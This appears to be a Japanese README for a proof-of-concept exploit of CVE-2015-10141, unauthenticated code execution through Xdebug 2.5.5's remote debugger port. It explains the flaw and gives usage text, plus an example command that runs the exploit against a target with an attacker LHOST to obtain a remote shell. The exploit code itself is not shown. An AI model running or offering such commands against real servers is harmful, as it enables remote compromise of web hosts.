
CVE-2015-10141 用の PoC エクスプロイト
# Exploit Title: xdebug Unauthenticated Command Execution
# Exploit Author: D3Ext
# Vendor Homepage: https://xdebug.org/
# Sofware Link: https://pecl.php.net/package/xdebug/2.5.5/windows
# Version: 2.5.5
# Tested on: Kali Linux 2025
# CVE: CVE-2015-10141
Xdebug 2.5.5以前のバージョン(PHPデバッグ拡張機能)には、認証なしのOSコマンドインジェクションの脆弱性が存在します。リモートデバッグが有効な場合、Xdebugはポート9000で待ち受けし、認証なしでデバッガプロトコルコマンドを受け入れます。攻撃者はこのインターフェースを介して細工したevalコマンドを送信し、任意のPHPコードを実行できます。これにより、system()やpassthru()などのシステムレベルの関数を呼び出せる可能性があります。その結果、Webサーバーユーザーの権限でホストが完全に侵害されます。
usage: CVE-2015-10141.py [-h] -u URL -l LHOST
CVE-2015-10141 - xdebug v2.5.5 RCE Exploit
options:
-h, --help show this help message and exit
-u, --url URL URL of the target
-l, --lhost LHOST LHOST to trigger the RCE
エクスプロイトを実行し、index.php のような有効なPHPファイルのURLとローカルホストを指定してください。その後、エクスプロイトは擬似端末の確立を試み、リモートでコマンドを実行できるようにします。
python3 exploit.py -u http://10.10.10.83/index.php -l 10.10.16.3
出力がまったく反映されず、実行したコマンドの最初の行しか表示されない場合があることに注意してください。これはスクリプトの問題ではなく、この脆弱性がこのように動作するためです)
https://github.com/advisories/GHSA-267w-63f8-m896
https://www.exploit-db.com/exploits/44568
https://www.rapid7.com/db/modules/exploit/unix/http/xdebug_unauth_exec/
https://nvd.nist.gov/vuln/detail/CVE-2015-10141
https://www.wiz.io/vulnerability-database/cve/cve-2015-10141
https://feedly.com/cve/CVE-2015-10141
https://www.tenable.com/plugins/nessus/112210
このプロジェクトはMITライセンスの下で提供されています
Copyright © 2025, D3Ext